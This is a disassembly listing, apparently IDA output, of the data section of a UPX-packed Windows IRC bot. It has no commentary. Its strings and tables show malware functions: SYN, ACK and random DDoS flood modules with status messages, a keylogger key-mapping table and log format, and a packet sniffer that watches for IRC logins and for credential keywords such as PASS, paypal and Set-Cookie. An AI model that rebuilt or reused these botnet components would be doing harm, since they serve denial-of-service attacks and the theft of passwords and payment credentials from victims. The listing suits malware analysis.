dword_423BB0 dd 0FFFFFFFFh, 41F1D0h, 41F1D4h ; DATA XREF: ___crtGetStringTypeA+5o
aSunmontuewedth db 'SunMonTueWedThuFriSat',0
align 4
aJanfebmaraprma db 'JanFebMarAprMayJunJulAugSepOctNovDec',0
align 4
; char VarName[]
VarName db 'TZ',0 ; DATA XREF: __tzset+Ao
align 10h
aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: ___crtMessageBoxA+3Do
align 4
aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: ___crtMessageBoxA+35o
aMessageboxa db 'MessageBoxA',0 ; DATA XREF: ___crtMessageBoxA+24o
; char a1Qnan[]
a1Qnan db '1#QNAN',0 ; DATA XREF: _$I10_OUTPUT:loc_420FDAo
align 4
; char a1Inf[]
a1Inf db '1#INF',0 ; DATA XREF: _$I10_OUTPUT+D8o
align 10h
a1Ind db '1#IND',0 ; DATA XREF: _$I10_OUTPUT+C7o
align 4
a1Snan db '1#SNAN',0 ; DATA XREF: _$I10_OUTPUT+ADo
align 10h
dword_423C50 dd 0FFFFFFFFh, 4218DDh, 4218E1h, 0FFFFFFFFh, 42194Ch, 421950h
; DATA XREF: ___crtCompareStringA+5o
dd 423D8Ch
off_423C6C dd offset loc_421CE2 ; DATA XREF: sub_421CBA+8o
; sub_421CFE+2Co ...
dd offset sub_421CD5 ; ?what@runtime_error@@UBEPBDXZ
; doubtful name
dd offset sub_421EF6
dd offset dword_423DD8
off_423C7C dd offset sub_421D4C ; DATA XREF: sub_421CFE+3Ao
; sub_421D68o ...
dd offset sub_421CD5 ; ?what@runtime_error@@UBEPBDXZ
; doubtful name
dd offset loc_421F32
dword_423C88 dd 0 ; DATA XREF: sub_421CFE+16o
; sub_421DD0+16o
; char aInvalidStringP[]
aInvalidStringP db 'invalid string position',0 ; DATA XREF: sub_421D73+11o
dd offset dword_423E24
off_423CA8 dd offset sub_421E5B ; DATA XREF: sub_421E77o
; sub_421E9A+37o ...
dd offset sub_421CD5 ; ?what@runtime_error@@UBEPBDXZ
; doubtful name
dd offset loc_421F14
; char aStringTooLong[]
aStringTooLong db 'string too long',0 ; DATA XREF: sub_421E9A+11o
dd offset dword_423E68
off_423CC8 dd offset ??_Gtype_info@@UAEPAXI@Z ; DATA XREF: type_info::~type_info(void)o
; UPX0:off_4392FCo ...
; type_info::`scalar deleting destructor'(uint)
dd offset dword_423E98
off_423CD0 dd offset loc_422013 ; DATA XREF: exception::exception(char const * const &)+8o
; exception::exception(exception const &)+8o ...
dd offset unknown_libname_16 ; Microsoft VisualC 2-8/net runtime
aUnknownExcepti db 'Unknown exception',0 ; DATA XREF: unknown_libname_16+7o
align 10h
dword_423CF0 dd 0E06D7363h, 1, 2 dup(0) ; DATA XREF: _CxxThrowException(x,x)+Eo
dd 3, 19930520h, 2 dup(0)
dword_423D10 dd 0FFFFFFFFh, 42228Ah, 42228Eh, 0FFFFFFFFh, 422307h, 42230Bh
; DATA XREF: ___crtLCMapStringW+5o
dword_423D28 dd 0FFFFFFFFh, 4224FFh, 422503h, 0FFFFFFFFh, 42255Ch, 422560h
; DATA XREF: ___crtGetStringTypeW+5o
dd 4392FCh, 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
off_423D58 dd offset off_439314 ; DATA XREF: UPX0:00423D70o
; UPX0:00423DBCo ...
dd 1, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_423D58
dd offset dword_423D28+18h
dword_423D78 dd 3 dup(0) ; DATA XREF: UPX0:00423D9Co
dd 2, 423D70h, 3 dup(0)
dd offset off_439314
dd offset dword_423D78+4
off_423DA0 dd offset off_439334 ; DATA XREF: UPX0:00423DB8o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_423DA0
dd offset off_423D58
dd offset dword_423D28+18h
dd 0
db 0 ; DATA XREF: UPX0:00423DE8o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 3, 423DB8h
dword_423DD8 dd 3 dup(0) ; DATA XREF: UPX0:00423C78o
dd offset off_439334
dd offset unk_423DC8
off_423DEC dd offset off_439354 ; DATA XREF: UPX0:00423E04o
dd 2, 0
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_423DEC
dd offset off_423D58
dd offset dword_423D28+18h
dword_423E10 dd 3 dup(0) ; DATA XREF: UPX0:00423E34o
dd 3, 423E04h
dword_423E24 dd 3 dup(0) ; DATA XREF: UPX0:00423CA4o
dd offset off_439354
dd offset dword_423E10+4
off_423E38 dd offset off_439378 ; DATA XREF: UPX0:00423E50o
dd 2 dup(0)
dd 0FFFFFFFFh, 2 dup(0)
dd offset off_423E38
dd 0
db 0 ; DATA XREF: UPX0:00423E78o
db 0
db 0
db 0
db 0
db 0
db 0
db 0
dd 1, 423E50h
dword_423E68 dd 3 dup(0) ; DATA XREF: UPX0:00423CC4o
dd offset off_439378
dd offset unk_423E58
dd offset dword_423D28+18h
dword_423E80 dd 4 dup(0) ; DATA XREF: UPX0:00423EA8o
dd 1, 423E7Ch
dword_423E98 dd 3 dup(0) ; DATA XREF: UPX0:00423CCCo
dd offset off_4392FC
dd offset dword_423E80+8
align 10h
stru_423EB0 dd 19930520h ; Magic ; DATA XREF: UPX0:loc_4225F7o
dd 2 ; Count
dd offset stru_423EB0.Info; InfoPtr
dd 0 ; CountDtr
dd 0 ; DtrPtr
dd 3 dup(0) ; _unk
dd -1 ; Info.Id
dd offset sub_4225E0 ; Info.Proc
dd 0 ; Info.Id
dd offset sub_4225D8 ; Info.Proc
stru_423EE0 dd 19930520h ; Magic ; DATA XREF: UPX0:loc_422614o
dd 2 ; Count
dd offset stru_423EE0.Info; InfoPtr
dd 0 ; CountDtr
dd 0 ; DtrPtr
dd 3 dup(0) ; _unk
dd -1 ; Info.Id
dd offset loc_422604 ; Info.Proc
dd 0 ; Info.Id
dd offset loc_42260C ; Info.Proc
stru_423F10 dd 19930520h ; Magic ; DATA XREF: UPX0:loc_422620o
dd 2 ; Count
dd offset stru_423F10.Info; InfoPtr
dd 1 ; CountDtr
dd offset stru_423F40 ; DtrPtr
dd 3 dup(0) ; _unk
dd -1 ; Info.Id
dd 0 ; Info.Proc
dd -1 ; Info.Id
dd 0 ; Info.Proc
stru_423F40 dd 0, 0, 1 ; _unk ; DATA XREF: UPX0:stru_423F10o
dd 1 ; Count
dd offset stru_423F58 ; RttiBlkPtr
dd 0
stru_423F58 _msRttiDscr <0, 0, 0, offset loc_40477F> ; DATA XREF: UPX0:stru_423F40o
stru_423F68 _msExcInfo <-1, offset loc_42262A> ; DATA XREF: UPX0:stru_423F70o
stru_423F70 _msExcept7 <19930520h, 1, offset stru_423F68, 0, 0, 0>
; DATA XREF: UPX0:loc_422632o
align 10h
dd offset off_4392FC
align 8
dd 0FFFFFFFFh, 0
dd 0Ch, 42206Ch, 0
dd offset off_439314
dd 0
dd 0FFFFFFFFh, 0
dd 1Ch, 421E18h, 0
dd offset off_439334
align 10h
dd 0FFFFFFFFh, 0
dword_423FD8 dd 1Ch, 421E82h, 3, 423FC4h, 423FA8h, 423F8Ch ; DATA XREF: UPX0:00423FFCo
dword_423FF0 dd 0 ; DATA XREF: sub_421D73+2Eo
; sub_421EF6+4Bo
dd offset sub_421D68
dd 0
dd offset dword_423FD8+8
stru_424000 _msExcInfo <-1, offset loc_42263C> ; DATA XREF: UPX0:stru_424008o
stru_424008 _msExcept7 <19930520h, 1, offset stru_424000, 0, 0, 0>
; DATA XREF: UPX0:loc_422644o
stru_424024 _msExcInfo <-1, offset loc_42264E> ; DATA XREF: UPX0:stru_42402Co
stru_42402C _msExcept7 <19930520h, 1, offset stru_424024, 0, 0, 0>
; DATA XREF: UPX0:loc_422656o
stru_424048 _msExcInfo <-1, offset loc_422660> ; DATA XREF: UPX0:stru_424050o
stru_424050 _msExcept7 <19930520h, 1, offset stru_424048, 0, 0, 0>
; DATA XREF: UPX0:loc_422668o
align 10h
dd offset off_439354
align 8
dd 0FFFFFFFFh, 0
dword_424080 dd 1Ch, 421EDEh, 3, 42406Ch, 423FA8h, 423F8Ch ; DATA XREF: UPX0:004240A4o
dword_424098 dd 0 ; DATA XREF: sub_421E9A+2Eo
; sub_421EF6+2Do
dd offset sub_421E77
dd 0
dd offset dword_424080+8
stru_4240A8 _msExcInfo <-1, offset loc_422672> ; DATA XREF: UPX0:stru_4240B0o
stru_4240B0 _msExcept7 <19930520h, 1, offset stru_4240A8, 0, 0, 0>
; DATA XREF: UPX0:loc_42267Ao
dword_4240CC dd 2, 423FA8h, 423F8Ch ; DATA XREF: UPX0:004240E4o
dword_4240D8 dd 0 ; DATA XREF: sub_421EF6+Fo
dd offset sub_421CBA
dd 0
dd offset dword_4240CC
dd 3C6h dup(0)
dword_425000 dd 0 ; DATA XREF: __cinit+1Fo
; ---------------------------------------------------------------------------
retn
; ---------------------------------------------------------------------------
db 30h, 40h, 0
dd offset unknown_libname_1 ; Microsoft VisualC 2-8/net runtime
dd offset sub_40484F
dword_425010 dd 0 ; DATA XREF: __cinit+1Ao
dword_425014 dd 0 ; DATA XREF: __cinit+10o
dd offset ___onexitinit
dd offset ___initmbctable
dd offset ___initstdio
dd offset sub_41FE28
dword_425028 dd 0 ; DATA XREF: __cinit:loc_4198B3o
dword_42502C dd 0 ; DATA XREF: _doexit+65o
dd offset ___endstdio
dword_425034 dd 0 ; DATA XREF: _doexit:loc_419957o
dword_425038 dd 0 ; DATA XREF: _doexit+76o
dd offset sub_41FE39
dword_425040 dd 4 dup(0) ; DATA XREF: _doexit:loc_419968o
; char unk_425050
unk_425050 db 2 ; DATA XREF: sub_401000+5Bo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 2 dup(64h), 6Fh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDoneWithFloodI db ' Done with flood (%iKB/sec).',0
align 4
; char unk_425088
unk_425088 db 2 ; DATA XREF: sub_4010B2+302o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 2 dup(64h), 6Fh
db 73h ; s
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aSendErrorD_ db ' Send error: <%d>.',0
align 4
; char aDdos_random[]
aDdos_random db 'ddos.random',0 ; DATA XREF: sub_4010B2:loc_4011DEo
; sub_40EE51+26B9o
; char aDdos_ack[]
aDdos_ack db 'ddos.ack',0 ; DATA XREF: sub_4010B2:loc_4011C2o
; sub_40EE51+26A2o
align 10h
; char Str2[]
Str2 db 'ddos.syn',0 ; DATA XREF: sub_4010B2+F1o
; sub_40EE51+268Bo
align 4
; char unk_4250DC
unk_4250DC db 2 ; DATA XREF: sub_401447+397o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aDoneWithSFlood db ' Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
db 'MB).',0
align 4
; char unk_42513C
unk_42513C db 2 ; DATA XREF: sub_401447+307o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aErrorSendingPa db ' Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
db 'd>.',0
align 4
; char unk_42519C
unk_42519C db 2 ; DATA XREF: sub_401447+12Ao
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aInvalidTargetI db ' Invalid target IP.',0
align 4
; char unk_4251CC
unk_4251CC db 2 ; DATA XREF: sub_401447+C2o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aErrorSetsockop db ' Error: setsockopt() failed, returned: <%d>.',0
align 4
; char unk_425214
unk_425214 db 2 ; DATA XREF: sub_401447+49o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 69h, 63h, 6Dh
db 70h ; p
db 2Eh, 70h, 1Fh
db 6Ch ; l
db 1Fh, 67h, 29h
db 20h
db 2, 2 dup(0BBh)
db 2
aErrorSocketFai db ' Error: socket() failed, returned: <%d>.',0
align 4
; char Format[]
Format db '[SUPERSYN]: Done with flood (%iKB/sec)',0 ; DATA XREF: sub_40182E+48o
align 10h
; char dword_425280
dword_425280 dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_4019D1+48o
dd 2BBBB02h
aDoneWithFloo_0 db ' Done with flood (%iKB/sec).',0
align 4
; char dword_4252B8
dword_4252B8 dd 7A026E02h, 201F6D1Fh, 6E797328h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_401A6D+27Do
dd 2BBBB02h
aSendErrorD__0 db ' Send error: <%d>.',0
; char dword_4252E4
dword_4252E4 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_401D79+4EBo
dd 2BBBB02h
aDoneWithSFlo_0 db ' Done with %s flood to IP: %s. Sent: %d packet(s) @ %dKB/sec (%d'
db 'MB).',0
align 4
; char dword_425344
dword_425344 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_401D79+44Fo
dd 2BBBB02h
aErrorSending_0 db ' Error sending packets to IP: %s. Packets sent: %d. Returned: <%'
db 'd>.',0
align 4
; char aRandom[]
aRandom db 'random',0 ; DATA XREF: sub_401D79+312o
; sub_40EE51+2C60o ...
align 4
; char aAck[]
aAck db 'ack',0 ; DATA XREF: sub_401D79+2F2o
; sub_40EE51+2C49o
; char aSyn[]
aSyn db 'syn',0 ; DATA XREF: sub_401D79+2D2o
; sub_40EE51+2C31o
; char dword_4253B4
dword_4253B4 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_401D79+15Fo
dd 2BBBB02h
aInvalidTarge_0 db ' Invalid target IP.',0
align 4
; char dword_4253E4
dword_4253E4 dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_401D79+EEo
dd 2BBBB02h
aErrorSetsock_0 db ' Error: setsockopt() failed, returned: <%d>.',0
align 4
; char dword_42542C
dword_42542C dd 7A026E02h, 201F6D1Fh, 70637428h, 6C1F702Eh, 2029671Fh
; DATA XREF: sub_401D79+70o
dd 2BBBB02h
aErrorSocketF_0 db ' Error: socket() failed, returned: <%d>.',0
align 10h
dw 8
unicode 0, <>,0
aB: ; DATA XREF: sub_40239E:loc_402481o
unicode 0, <b>,0
dd 62000000h, 2 dup(0)
dd 0Dh, 65h, 65000000h, 2 dup(0)
dd 1Bh, 4353455Bh, 5B00005Dh, 5D435345h, 0
dd 70h, 5D31465Bh, 5B000000h, 5D3146h, 0
dd 71h, 5D32465Bh, 5B000000h, 5D3246h, 0
dd 72h, 5D33465Bh, 5B000000h, 5D3346h, 0
dd 73h, 5D34465Bh, 5B000000h, 5D3446h, 0
dd 74h, 5D35465Bh, 5B000000h, 5D3546h, 0
dd 75h, 5D36465Bh, 5B000000h, 5D3646h, 0
dd 76h, 5D37465Bh, 5B000000h, 5D3746h, 0
dd 77h, 5D38465Bh, 5B000000h, 5D3846h, 0
dd 78h, 5D39465Bh, 5B000000h, 5D3946h, 0
dd 79h, 3031465Bh, 5B00005Dh, 5D303146h, 0
dd 7Ah, 3131465Bh, 5B00005Dh, 5D313146h, 0
dd 7Bh, 3231465Bh, 5B00005Dh, 5D323146h, 0
dd 0C0h, 60h, 7E000000h, 2 dup(0)
dd 2 dup(31h), 21000000h, 2 dup(0)
dd 2 dup(32h), 40000000h, 2 dup(0)
dd 2 dup(33h), 23000000h, 2 dup(0)
dd 2 dup(34h), 24000000h, 2 dup(0)
dd 2 dup(35h), 25000000h, 2 dup(0)
dd 2 dup(36h), 5E000000h, 2 dup(0)
dd 2 dup(37h), 26000000h, 2 dup(0)
dd 2 dup(38h), 2A000000h, 2 dup(0)
dd 2 dup(39h), 28000000h, 2 dup(0)
dd 2 dup(30h), 29000000h, 2 dup(0)
dd 0BDh, 2Dh, 5F000000h, 2 dup(0)
dd 0BBh, 3Dh, 2B000000h, 2 dup(0)
dd 9, 4241545Bh, 5B00005Dh, 5D424154h, 0
dd 51h, 71h, 51000000h, 2 dup(0)
dd 57h, 77h, 57000000h, 2 dup(0)
dd 45h, 65h, 45000000h, 2 dup(0)
dd 52h, 72h, 52000000h, 2 dup(0)
dd 54h, 74h, 54000000h, 2 dup(0)
dd 59h, 79h, 59000000h, 2 dup(0)
dd 55h, 75h, 55000000h, 2 dup(0)
dd 49h, 69h, 49000000h, 2 dup(0)
dd 4Fh, 6Fh, 4F000000h, 2 dup(0)
dd 50h, 70h, 50000000h, 2 dup(0)
dd 0DBh, 5Bh, 7B000000h, 2 dup(0)
dd 0DDh, 0
dd 7D000000h, 2 dup(0)
dd 41h, 61h, 61000000h, 2 dup(0)
dd 53h, 73h, 53000000h, 2 dup(0)
dd 44h, 64h, 44000000h, 2 dup(0)
dd 46h, 66h, 46000000h, 2 dup(0)
dd 47h, 67h, 47000000h, 2 dup(0)
dd 48h, 68h, 48000000h, 2 dup(0)
dd 4Ah, 6Ah, 4A000000h, 2 dup(0)
dd 4Bh, 6Bh, 4B000000h, 2 dup(0)
dd 4Ch, 6Ch, 4C000000h, 2 dup(0)
dd 0BAh, 3Bh, 3A000000h, 2 dup(0)
dd 0DEh, 27h, 22000000h, 2 dup(0)
dd 5Ah, 7Ah, 5A000000h, 2 dup(0)
dd 58h, 78h, 58000000h, 2 dup(0)
dd 43h, 63h, 43000000h, 2 dup(0)
dd 56h, 76h, 56000000h, 2 dup(0)
dd 42h, 62h, 42000000h, 2 dup(0)
dd 4Eh, 6Eh, 4E000000h, 2 dup(0)
dd 4Dh, 6Dh, 4D000000h, 2 dup(0)
dd 0BCh, 2Ch, 3C000000h, 2 dup(0)
dd 0BEh, 2Eh, 3E000000h, 2 dup(0)
dd 0BFh, 2Fh, 2E000000h, 3Fh, 0
dd 0DCh, 5Ch, 7C000000h, 2 dup(0)
dd 11h, 5254435Bh, 5B005D4Ch, 4C525443h, 5Dh, 5Bh, 4E49575Bh
dd 5B00005Dh, 5D4E4957h, 0
dd 2 dup(20h), 20000000h, 2 dup(0)
dd 5Ch, 4E49575Bh, 5B00005Dh, 5D4E4957h, 0
dd 2Ch, 5352505Bh, 5B005D43h, 43535250h, 5Dh, 91h, 4C43535Bh
dd 5B005D4Bh, 4B4C4353h, 5Dh, 2Dh, 534E495Bh, 5B00005Dh
dd 5D534E49h, 0
dd 24h, 4D4F485Bh, 5B005D45h, 454D4F48h, 5Dh, 21h, 5547505Bh
dd 5B005D50h, 50554750h, 5Dh, 2Eh, 4C45445Bh, 5B00005Dh
dd 5D4C4544h, 0
dd 23h, 444E455Bh, 5B00005Dh, 5D444E45h, 0
dd 22h, 4447505Bh, 5B005D4Eh, 4E444750h, 5Dh, 25h, 46454C5Bh
dd 5B005D54h, 5446454Ch, 5Dh, 26h, 5D50555Bh, 5B000000h
dd 5D5055h, 0
dd 27h, 4847525Bh, 5B005D54h, 54484752h, 5Dh, 28h, 574F445Bh
dd 5B005D4Eh, 4E574F44h, 5Dh, 90h, 4C4D4E5Bh, 5B005D4Bh
dd 4B4C4D4Eh, 5Dh, 6Fh, 2Fh, 2F000000h, 2 dup(0)
dd 6Ah, 2Ah, 2A000000h, 2 dup(0)
dd 6Dh, 2Dh, 2D000000h, 2 dup(0)
dd 6Bh, 2Bh, 2B000000h, 2 dup(0)
dd 60h, 30h, 30000000h, 2 dup(0)
dd 61h, 31h, 31000000h, 2 dup(0)
dd 62h, 32h, 32000000h, 2 dup(0)
dd 63h, 33h, 33000000h, 2 dup(0)
dd 64h, 34h, 34000000h, 2 dup(0)
dd 65h, 35h, 35000000h, 2 dup(0)
dd 66h, 36h, 36000000h, 2 dup(0)
dd 67h, 37h, 37000000h, 2 dup(0)
dd 68h
dword_425BA4 dd 38h, 38000000h, 2 dup(0) ; DATA XREF: sub_40239E+2B6o
dd 69h, 39h, 39000000h, 2 dup(0)
dd 6Eh, 2Eh, 2E000000h, 2 dup(0)
; char dword_425BDC
dword_425BDC dd 7A026E02h, 201F6D1Fh, 79656B28h, 2E676F6Ch, 1F6C1F70h
; DATA XREF: sub_4022BD+AEo
dd 2202967h, 2002BBBBh, 732520h
; char aDDDDDDS[]
aDDDDDDS db '[%d-%d-%d %d:%d:%d] %s',0Dh,0Ah,0 ; DATA XREF: sub_4022BD+88o
align 4
; char Mode[]
Mode db 'ab',0 ; DATA XREF: sub_4022BD+4Eo
; sub_40EE51+2B0Fo
align 4
; char Source[]
Source: ; DATA XREF: sub_4022BD+2Co
unicode 0, <\>,0
; char aSReturnS[]
aSReturnS db '%s (Return) (%s)',0 ; DATA XREF: sub_40239E+228o
align 4
aSBufferFullS db '%s (Buffer full) (%s)',0 ; DATA XREF: sub_40239E+1E5o
align 4
; char aSChangedWindow[]
aSChangedWindow db '%s (Changed Windows: %s)',0 ; DATA XREF: sub_40239E+8Fo
align 4
off_425C68 dd offset off_4264E0 ; DATA XREF: sub_40267F+29Er
dd offset off_4264DC
dd offset off_4264D8
dd offset aHttp ; "HTTP"
; char a_login[]
a_login db ':.login',0 ; DATA XREF: sub_40267F+1DEo
dd 3 dup(0)
dword_425C8C dd 0 ; DATA XREF: sub_40267F+297r
dd 6F6C2C3Ah, 6E6967h, 4 dup(0)
dd 6F6C213Ah, 6E6967h, 4 dup(0)
dd 6F6C403Ah, 6E6967h, 4 dup(0)
dd 6F6C243Ah, 6E6967h, 4 dup(0)
dd 6F6C253Ah, 6E6967h, 4 dup(0)
dd 6F6C5E3Ah, 6E6967h, 4 dup(0)
dd 6F6C263Ah, 6E6967h, 4 dup(0)
dd 6F6C2A3Ah, 6E6967h, 4 dup(0)
dd 6F6C2D3Ah, 6E6967h, 4 dup(0)
dd 6F6C2B3Ah, 6E6967h, 4 dup(0)
dd 6F6C2F3Ah, 6E6967h, 4 dup(0)
dd 6F6C5C3Ah, 6E6967h, 4 dup(0)
dd 6F6C3D3Ah, 6E6967h, 4 dup(0)
dd 6F6C3F3Ah, 6E6967h, 4 dup(0)
dd 6F6C273Ah, 6E6967h, 4 dup(0)
dd 6F6C603Ah, 6E6967h, 4 dup(0)
dd 6F6C7E3Ah, 6E6967h, 4 dup(0)
dd 6F6C203Ah, 6E6967h, 4 dup(0)
dd 75612E3Ah, 6874h, 4 dup(0)
dd 75612C3Ah, 6874h, 4 dup(0)
dd 7561213Ah, 6874h, 4 dup(0)
dd 7561403Ah, 6874h, 4 dup(0)
dd 7561243Ah, 6874h, 4 dup(0)
dd 7561253Ah, 6874h, 4 dup(0)
dd 75615E3Ah, 6874h, 4 dup(0)
dd 7561263Ah, 6874h, 4 dup(0)
dd 75612A3Ah, 6874h, 4 dup(0)
dd 75612D3Ah, 6874h, 4 dup(0)
dd 75612B3Ah, 6874h, 4 dup(0)
dd 75612F3Ah, 6874h, 4 dup(0)
dd 75615C3Ah, 6874h, 4 dup(0)
dd 75613D3Ah, 6874h, 4 dup(0)
dd 75613F3Ah, 6874h, 4 dup(0)
dd 7561273Ah, 6874h, 4 dup(0)
dd 7561603Ah, 6874h, 4 dup(0)
dd 75617E3Ah, 6874h, 4 dup(0)
dd 7561203Ah, 6874h, 4 dup(0)
dd 64692E3Ah, 5 dup(0)
dd 64692C3Ah, 5 dup(0)
dd 6469213Ah, 5 dup(0)
dd 6469403Ah, 5 dup(0)
dd 6469243Ah, 5 dup(0)
dd 6469253Ah, 5 dup(0)
dd 64695E3Ah, 5 dup(0)
dd 6469263Ah, 5 dup(0)
dd 64692A3Ah, 5 dup(0)
dd 64692D3Ah, 5 dup(0)
dd 64692B3Ah, 5 dup(0)
dd 64692F3Ah, 5 dup(0)
dd 64695C3Ah, 5 dup(0)
dd 64693D3Ah, 5 dup(0)
dd 64693F3Ah, 5 dup(0)
dd 6469273Ah, 5 dup(0)
dd 6469603Ah, 5 dup(0)
dd 64697E3Ah, 5 dup(0)
dd 6469203Ah, 5 dup(0)
dd 61682E3Ah, 6E696873h, 4 dup(0)
dd 6168213Ah, 6E696873h, 4 dup(0)
dd 6168243Ah, 6E696873h, 4 dup(0)
dd 6168253Ah, 6E696873h, 4 dup(0)
dd 65732E3Ah, 65727563h, 4 dup(0)
dd 6573213Ah, 65727563h, 4 dup(0)
dd 6C2E3Ah, 5 dup(0)
dd 6C213Ah, 5 dup(0)
dd 6C243Ah, 5 dup(0)
dd 6C253Ah, 5 dup(0)
dd 782E3Ah, 5 dup(0)
dd 78213Ah, 5 dup(0)
dd 78243Ah, 5 dup(0)
dd 78253Ah, 5 dup(0)
dd 79732E3Ah, 6Eh, 4 dup(0)
dd 7973213Ah, 6Eh, 4 dup(0)
dd 7973243Ah, 6Eh, 4 dup(0)
dd 7973253Ah, 6Eh, 4 dup(0)
dd 4B444320h, 207965h, 4 dup(0)
dd 4E494F4Ah, 2320h, 3 dup(0)
dd 1, 4B43494Eh, 20h, 3 dup(0)
dd 1, 5245504Fh, 20h, 3 dup(0)
dd 1, 7265706Fh, 20h, 3 dup(0)
dd 1, 20776F6Eh, 49206E61h, 4F204352h, 61726570h, 726F74h
dd 1, 52455355h, 20h, 3 dup(0)
dd 2, 53534150h, 20h, 3 dup(0)
dd 2, 70796170h, 6C61h, 3 dup(0)
dd 3, 50594150h, 4C41h, 3 dup(0)
dd 3, 70796170h, 632E6C61h, 6D6Fh, 2 dup(0)
dd 3, 50594150h, 432E4C41h, 4D4Fh, 2 dup(0)
dd 3, 2D746553h, 6B6F6F43h, 3A6569h, 2 dup(0)
dd 3, 6 dup(0)
aHttp db 'HTTP',0 ; DATA XREF: UPX0:00425C74o
align 4
off_4264D8 dd offset word_505446 ; DATA XREF: UPX0:00425C70o
off_4264DC dd offset byte_435249 ; DATA XREF: UPX0:00425C6Co
off_4264E0 dd offset word_544F42 ; DATA XREF: UPX0:off_425C68o
; char unk_4264E4
unk_4264E4 db 2 ; DATA XREF: sub_40267F+2FCo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Eh, 69h
db 66h ; f
db 66h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorRecvFaile db 'Error: recv() failed, returned: <%d>',0
align 4
; char unk_426528
unk_426528 db 2 ; DATA XREF: sub_40267F+2ABo
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Eh, 69h
db 66h ; f
db 66h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aSuspiciousSPac db 'Suspicious %s packet from: %s:%d - %s.',0
align 4
; char SubStr[]
SubStr db '[PSNIFF]',0 ; DATA XREF: sub_40267F+235o
align 4
; char unk_426578
unk_426578 db 2 ; DATA XREF: sub_40267F+186o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Eh, 69h
db 66h ; f
db 66h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorWsaioctlF db 'Error: WSAIoctl() failed, returned: <%d>.',0
align 10h
; char unk_4265C0
unk_4265C0 db 2 ; DATA XREF: sub_40267F+103o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Eh, 69h
db 66h ; f
db 66h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorBindFaile db 'Error: bind() failed, returned: <%d>.',0
align 4
; char unk_426604
unk_426604 db 2 ; DATA XREF: sub_40267F+85o
db 6Eh, 2, 7Ah
db 1Fh
db 6Dh, 1Fh, 20h
db 28h ; (
db 73h, 6Eh, 69h
db 66h ; f
db 66h, 2Eh, 70h
db 1Fh
db 6Ch, 1Fh, 67h
db 29h ; )
db 20h, 2, 0BBh
db 0BBh ; »
db 2, 2 dup(20h)
aErrorSocketF_1 db 'Error: socket() failed, returned: <%d>.',0
dword_426648 dd 30B0005h, 10h, 48h, 7Fh, 16D016D0h, 0 ; DATA XREF: sub_402DCE+E1o
; sub_402DCE+21Bo
dd 1, 10001h, 1A0h, 0
dd 0C0h, 46000000h, 0
dd 8A885D04h, 11C91CEBh, 8E89Fh, 6048102Bh, 2, 0
dword_426694 dd 3000005h, 10h, 3E8h, 0E5h, 3D0h, 40001h, 60005h, 1
; DATA XREF: sub_402B7B+123o
dd 0
dd 0FD582432h, 496445CCh, 0AEDD70B0h, 0D2962C74h, 0D5E60h
dd 1, 0
